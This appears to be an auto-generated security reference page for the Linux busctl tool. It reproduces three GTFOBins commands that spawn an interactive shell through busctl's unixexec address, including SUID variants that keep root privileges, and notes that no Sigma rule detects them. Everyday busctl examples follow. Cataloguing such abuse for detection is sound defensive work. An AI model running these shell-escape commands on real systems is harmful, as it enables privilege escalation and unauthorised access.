Identifier / Programs / Linux and Unix
busctl
Introspect and monitor the D-Bus bus. tldr-pages
GTFOBins inherit, shell 1 ATT&CK technique 3 documented commands
How busctl is abused
inherit
--show-machineEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for busctl.
3 documented commands
inherit unprivileged, with sudo, as SUID
busctl --show-machineshell unprivileged, with sudo, as SUID
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'As SUID:
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'shell unprivileged, with sudo, as SUID
busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'As SUID:
busctl --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for busctl. The identifier reads the line of each that runs busctl.
What detects it
Everyday use
Show all peers on the bus by their service names
busctlIdentifyShow process information and credentials of a bus service, a process, or the owner of the bus (if no parameter is specified)
busctl status serviceIdentifyDump messages being exchanged. If no service is specified, show all messages on the bus
busctl monitor service1 service2 ...IdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.